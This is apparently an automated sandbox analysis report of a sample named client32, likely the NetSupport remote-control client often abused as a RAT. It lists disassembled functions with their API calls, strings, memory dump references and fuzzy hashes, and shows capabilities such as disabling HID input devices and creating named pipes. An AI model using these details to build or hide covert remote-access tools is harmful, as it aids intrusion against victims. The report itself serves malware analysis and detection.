DisableHIDCode, xrefs: 110FF3FB
DisabledHID, xrefs: 110FF47F, 110FF660, 110FF66C
Error %d opening key, xrefs: 110FF46B
Trace, xrefs: 110FF51E
TraceFile, xrefs: 110FF540

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CloseCreateHandleObjectSingleWait__wcstoi64_memsetwsprintf
String ID: "%s" %s %s HID*$%s HID*$Client$D$DisableHIDCode$DisableHidDevices(%d)$DisabledHID$Error %d opening key$Error creating process %s$Software\NetSupport Ltd\Client32$Trace$TraceFile$Waited %d ms for last devcon$_debug$nsdevcon.exe$nsdevcon64.exe
API String ID: 137837830-2801557662
Opcode ID: 6bf3ca8b1897a9fb597f7e1bcf8d3474db02404c230f644f8e4e51502cd176c1
Instruction ID: a11abc6b97969388e485db2e6a8e88b8a5e3b39e7edf5af597a12920a36432c8
Opcode Fuzzy Hash: 6bf3ca8b1897a9fb597f7e1bcf8d3474db02404c230f644f8e4e51502cd176c1
Instruction Fuzzy Hash: 9471EC75E4421ABBEB10DBA1DC89FEEF774EB08708F10419DED14A6181EB306944CBA6

Function 11003780 Relevance: 40.7, APIs: 27, Instructions: 240COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 110037DF
InflateRect.USER32(?,000000FF,000000FF), ref: 110037FA
GetSysColor.USER32(00000010), ref: 1100380D
GetSysColor.USER32(00000010), ref: 11003824
GetSysColor.USER32(00000014), ref: 1100383B
GetSysColor.USER32(00000014), ref: 11003852
GetSysColor.USER32(00000014), ref: 11003875
GetSysColor.USER32(00000014), ref: 1100388C
GetSysColor.USER32(00000010), ref: 110038A3
GetSysColor.USER32(00000010), ref: 110038BA
GetSysColor.USER32(00000004), ref: 110038D1
SetBkColor.GDI32(00000000,00000000), ref: 110038D8
InflateRect.USER32(?,000000FE,000000FD), ref: 110038E6
GetSysColor.USER32(00000010), ref: 11003902
CreatePen.GDI32(?,00000001,00000000), ref: 1100390B
SelectObject.GDI32(00000000,00000000), ref: 11003919
MoveToEx.GDI32(00000000,?,?,00000000), ref: 11003932
LineTo.GDI32(00000000,?,?), ref: 11003946
SelectObject.GDI32(00000000,?), ref: 11003954
DeleteObject.GDI32(?), ref: 1100395E
GetSysColor.USER32(00000014), ref: 1100396C
CreatePen.GDI32(?,00000001,00000000), ref: 11003975
SelectObject.GDI32(00000000,00000000), ref: 11003982
MoveToEx.GDI32(00000000,?,?,00000000), ref: 1100399E
LineTo.GDI32(00000000,?,?), ref: 110039B5
SelectObject.GDI32(00000000,?), ref: 110039C3
DeleteObject.GDI32(00000000), ref: 110039CA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$CreateDeleteInflateLineMoveRect
String ID:
API String ID: 1903512896-0
Opcode ID: 8760cecb2564344baf698d6dfb1889720b5fb5377f88e9846bce1803a3bf91cb
Instruction ID: f431685d51201d56bfadd4982933ed8f3cc0d0135c34102d604ea9f22554572a
Opcode Fuzzy Hash: 8760cecb2564344baf698d6dfb1889720b5fb5377f88e9846bce1803a3bf91cb
Instruction Fuzzy Hash: D6816FB5900209AFEB14DFA5CC85EBFF7B8EF88704F104A18E611E7295D770A941CBA1

Function 1112B670 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 153libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(snmpapi.dll,?,00000000), ref: 1112B699
GetProcAddress.KERNEL32(00000000,SnmpUtilOidCpy), ref: 1112B6C4
GetProcAddress.KERNEL32(00000000,SnmpUtilOidNCmp), ref: 1112B6D1
GetProcAddress.KERNEL32(00000000,SnmpUtilVarBindFree), ref: 1112B6DE
LoadLibraryA.KERNEL32(INETMIB1.DLL), ref: 1112B70C
GetProcAddress.KERNEL32(00000000,SnmpExtensionInit), ref: 1112B724
GetProcAddress.KERNEL32(00000000,SnmpExtensionQuery), ref: 1112B731
GetTickCount.KERNEL32 ref: 1112B75B
_calloc.LIBCMT ref: 1112B78B
FreeLibrary.KERNEL32(?), ref: 1112B7FD
FreeLibrary.KERNEL32(?), ref: 1112B806

Strings

SnmpUtilOidCpy, xrefs: 1112B6BE
..\CTL32\tcputil.c, xrefs: 1112B7A0
SnmpUtilOidNCmp, xrefs: 1112B6C6
SnmpExtensionQuery, xrefs: 1112B726
INETMIB1.DLL, xrefs: 1112B707
SnmpExtensionInit, xrefs: 1112B71E
snmpapi.dll, xrefs: 1112B68E
result, xrefs: 1112B7A5
SnmpUtilVarBindFree, xrefs: 1112B6D3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad$CountTick_calloc
String ID: ..\CTL32\tcputil.c$INETMIB1.DLL$SnmpExtensionInit$SnmpExtensionQuery$SnmpUtilOidCpy$SnmpUtilOidNCmp$SnmpUtilVarBindFree$result$snmpapi.dll
API String ID: 1437035542-3101287369
Opcode ID: fc1fd92616015cd47e86ff9b00b755c06122618403dc2c1f491a3f92d19b084c
Instruction ID: f3295d9ca5358f7e019f9eca4ce7d23819ae9b382b39dc0ae2c11714c539106e
Opcode Fuzzy Hash: fc1fd92616015cd47e86ff9b00b755c06122618403dc2c1f491a3f92d19b084c
Instruction Fuzzy Hash: 1141BF35A002299BDB11DFB5DCD0A9EFBB8FB88719F5000BEE81993240DA75A945CF54

Function 1116B96C Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116B974
__mtterm.LIBCMT ref: 1116B980

Part of subcall function 1116B64B: DecodePointer.KERNEL32(00000006,1116959F,11169585,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116B65C
Part of subcall function 1116B64B: TlsFree.KERNEL32(00000019,1116959F,11169585,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116B676
Part of subcall function 1116B64B: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,1116959F,11169585,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 11173629
Part of subcall function 1116B64B: _free.LIBCMT ref: 1117362C
Part of subcall function 1116B64B: DeleteCriticalSection.KERNEL32(00000019,?,?,1116959F,11169585,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 11173653

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1116B996
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1116B9A3
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1116B9B0
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1116B9BD
TlsAlloc.KERNEL32(?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BA0D
TlsSetValue.KERNEL32(00000000,?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BA28
__init_pointers.LIBCMT ref: 1116BA32
EncodePointer.KERNEL32(?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BA43
EncodePointer.KERNEL32(?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BA50
EncodePointer.KERNEL32(?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BA5D
EncodePointer.KERNEL32(?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BA6A
DecodePointer.KERNEL32(Function_0016B7CF,?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BA8B
__calloc_crt.LIBCMT ref: 1116BAA0
DecodePointer.KERNEL32(00000000,?,?,111694DC,111DBD20,00000008,11169670,?,?,?,111DBD40,0000000C,1116972B,?), ref: 1116BABA
GetCurrentThreadId.KERNEL32 ref: 1116BACC

Strings

FlsFree, xrefs: 1116B9B2
KERNEL32.DLL, xrefs: 1116B96F
FlsGetValue, xrefs: 1116B998
FlsAlloc, xrefs: 1116B990
FlsSetValue, xrefs: 1116B9A5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 8ec48f1a047daf616742b568f1d57b4471b92bf0689ee590aef20c437b638c51
Instruction ID: 8c197aedc407595bd33f0851878198814bb45be6e0f0f0d5f3e2140db13e3365
Opcode Fuzzy Hash: 8ec48f1a047daf616742b568f1d57b4471b92bf0689ee590aef20c437b638c51
Instruction Fuzzy Hash: A531A0B5A043269FD7019F768C94A4AFFA8FB4637C704063AE430C3298EBB28455CF54

Function 110F75E0 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 212windowlibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(User32.dll,59FD48C0), ref: 110F7616

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,76968400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

GetProcAddress.KERNEL32(00000000,SetProcessDPIAware), ref: 110F76BF
SetCursor.USER32(00000000,?,00000000,?,00000104), ref: 110F776E
ShowCursor.USER32(00000000,?,00000104), ref: 110F777B
OpenEventA.KERNEL32(00100000,00000000,NSLockExit,?,00000104), ref: 110F778C
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000BF), ref: 110F77B3
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110F77CA
TranslateMessage.USER32(?), ref: 110F77DB
DispatchMessageA.USER32(?), ref: 110F77E4
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000BF), ref: 110F77FB
CloseHandle.KERNEL32(?,?,00000104), ref: 110F780E

Part of subcall function 11145AE0: LoadLibraryA.KERNEL32(shcore.dll,00000000,?,11030690,00000002), ref: 11145AFF
Part of subcall function 11145AE0: GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 11145B11
Part of subcall function 11145AE0: FreeLibrary.KERNEL32(00000000,?,11030690,00000002), ref: 11145B24

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110F7826
TranslateMessage.USER32(?), ref: 110F7837
DispatchMessageA.USER32(?), ref: 110F7844
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110F7854
ShowCursor.USER32(00000001,?,00000104), ref: 110F785C
SetCursor.USER32(?,?,00000104), ref: 110F7869
FreeLibrary.KERNEL32(00000000,0000004C,?,00000104), ref: 110F788E

Strings

SetProcessDPIAware, xrefs: 110F76B9
NSLockExit, xrefs: 110F7781
User32.dll, xrefs: 110F7611

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CursorLibrary$AddressDispatchFreeLoadMultipleObjectsOpenProcShowTranslateWait$CloseEventHandleVersion_memset_strncpy
String ID: NSLockExit$SetProcessDPIAware$User32.dll
API String ID: 2007862282-1780497338
Opcode ID: 113c0b6181b972a0f2d320b7b092a92c9fbda70bcbeef0429ce4b10eb86d636e
Instruction ID: 11ede5f5f02855a1c4c96f48d72256e6443f30e2e936632b213269d4ffb78123
Opcode Fuzzy Hash: 113c0b6181b972a0f2d320b7b092a92c9fbda70bcbeef0429ce4b10eb86d636e
Instruction Fuzzy Hash: 7E8150B1D04229AFDB14DF658C85BEEFBB8BB48708F4045E9E519E3240EB309A84CF51

Function 111456A0 Relevance: 38.6, APIs: 11, Strings: 11, Instructions: 58libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 11143110: GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000), ref: 1114314B
Part of subcall function 11143110: _strrchr.LIBCMT ref: 1114315A
Part of subcall function 11143110: _strrchr.LIBCMT ref: 1114316A
Part of subcall function 11143110: wsprintfA.USER32 ref: 11143185

GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA
GetProcAddress.KERNEL32(00000000,NSMTraceLoad), ref: 111456D5
GetProcAddress.KERNEL32(00000000,NSMTraceUnload), ref: 111456E2
GetProcAddress.KERNEL32(00000000,NSMTraceGetConfigItem), ref: 111456EF
GetProcAddress.KERNEL32(00000000,NSMTraceGetConfigInt), ref: 111456FC
GetProcAddress.KERNEL32(00000000,vRealNSMTrace), ref: 11145709
GetProcAddress.KERNEL32(00000000,NSMTraceClose), ref: 11145716
GetProcAddress.KERNEL32(00000000,NSMTraceReadConfigItemFromFile), ref: 11145723
GetProcAddress.KERNEL32(00000000,NSMTraceExclusive), ref: 11145730
GetProcAddress.KERNEL32(00000000,NSMTraceUnexclusive), ref: 1114573D
GetProcAddress.KERNEL32(00000000,NSMTraceSetModuleName), ref: 1114574A

Strings

NSMTraceGetConfigInt, xrefs: 111456F1
NSMTRACE, xrefs: 111456B5
NSMTraceSetModuleName, xrefs: 1114573F
NSMTraceReadConfigItemFromFile, xrefs: 11145718
NSMTraceClose, xrefs: 1114570B
NSMTraceGetConfigItem, xrefs: 111456E4
NSMTraceUnexclusive, xrefs: 11145732
vRealNSMTrace, xrefs: 111456FE
NSMTraceLoad, xrefs: 111456CF
NSMTraceUnload, xrefs: 111456D7
NSMTraceExclusive, xrefs: 11145725

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Module_strrchr$FileHandleNamewsprintf
String ID: NSMTRACE$NSMTraceClose$NSMTraceExclusive$NSMTraceGetConfigInt$NSMTraceGetConfigItem$NSMTraceLoad$NSMTraceReadConfigItemFromFile$NSMTraceSetModuleName$NSMTraceUnexclusive$NSMTraceUnload$vRealNSMTrace
API String ID: 3896832720-3703587661
Opcode ID: 84df2d00e24e8d8ae3685d9949c465087890092b11522e3ff6f09728c44b768d
Instruction ID: 73e471d2bd7e465e00d80a1379dd27e839b9bac49e05384ada1c81eae7e3fc15
Opcode Fuzzy Hash: 84df2d00e24e8d8ae3685d9949c465087890092b11522e3ff6f09728c44b768d
Instruction Fuzzy Hash: 2201CC7191127666D751BFBA9C98FC7FEEA9B89218B010476F068E3206D6B484448F94

Function 110EF560 Relevance: 36.2, APIs: 24, Instructions: 222windowmemoryCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 110EF57E
GetStockObject.GDI32(0000000F), ref: 110EF592
GetDC.USER32(00000000), ref: 110EF60A
SelectPalette.GDI32(00000000,00000000,00000000), ref: 110EF61B
RealizePalette.GDI32(00000000), ref: 110EF621
GlobalAlloc.KERNEL32(00000042,?,00000000), ref: 110EF63C
SelectPalette.GDI32(00000000,?,00000001), ref: 110EF650
RealizePalette.GDI32(00000000), ref: 110EF653
ReleaseDC.USER32(00000000,00000000), ref: 110EF65B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Palette$ObjectRealizeSelect$AllocGlobalReleaseStock
String ID:
API String ID: 1969595663-0
Opcode ID: d9190b611ba9219ad8d2ec95f6d096b1821b31785eb756edf59b9680528b31f1
Instruction ID: 22353c804f3d3f151c6f3a8f6fada681deec080e0441dcd20cd58669b66000eb
Opcode Fuzzy Hash: d9190b611ba9219ad8d2ec95f6d096b1821b31785eb756edf59b9680528b31f1
Instruction Fuzzy Hash: 8E7191B6E11228AFDB04DFA5CC88BEEF7B9FF48704F04412AF515E7244D67499018BA1

Function 110F5950 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179filesleeppipeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110F5988

Part of subcall function 1110F340: SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

wsprintfA.USER32 ref: 110F59DA

Part of subcall function 110F33F0: LocalAlloc.KERNEL32(00000040,00000014,?,00000000), ref: 110F33FC
Part of subcall function 110F33F0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 110F3425
Part of subcall function 110F33F0: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 110F3432
Part of subcall function 110F33F0: CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,?,?,000003E8,?), ref: 110F3463
Part of subcall function 110F33F0: GetLastError.KERNEL32 ref: 110F3470
Part of subcall function 110F33F0: Sleep.KERNEL32(000003E8), ref: 110F348F
Part of subcall function 110F33F0: CreateNamedPipeA.KERNEL32(?,00000003,00000006,00000001,00000001,?,000003E8,0000000C), ref: 110F34AE
Part of subcall function 110F33F0: LocalFree.KERNEL32(?), ref: 110F34BF

wsprintfA.USER32 ref: 110F5A1E
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 110F5A4A
Sleep.KERNEL32(000003E8), ref: 110F5A5C
SetNamedPipeHandleState.KERNEL32(00000000,?,00000000,00000000), ref: 110F5A79
ReadFile.KERNEL32(?,?,00010000,?,00000000), ref: 110F5AE3
CloseHandle.KERNEL32(00000000), ref: 110F5B1E
GetLastError.KERNEL32 ref: 110F5B2C
InterlockedExchange.KERNEL32(?,00000000), ref: 110F5B38
CloseHandle.KERNEL32(00000000), ref: 110F5B43
SetEvent.KERNEL32(00000270), ref: 110F5B5A
InterlockedExchange.KERNEL32(?,00000000), ref: 110F5B6C
CloseHandle.KERNEL32(00000000), ref: 110F5B73
InterlockedExchange.KERNEL32(?,00000000), ref: 110F5B7F
CloseHandle.KERNEL32(00000000), ref: 110F5B89

Strings

VistaUIPipe%d, xrefs: 110F5976
\\.\pipe\nsm_%s, xrefs: 110F59D4
\\.\pipe\nsm_vistapipe%d, xrefs: 110F5A18

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
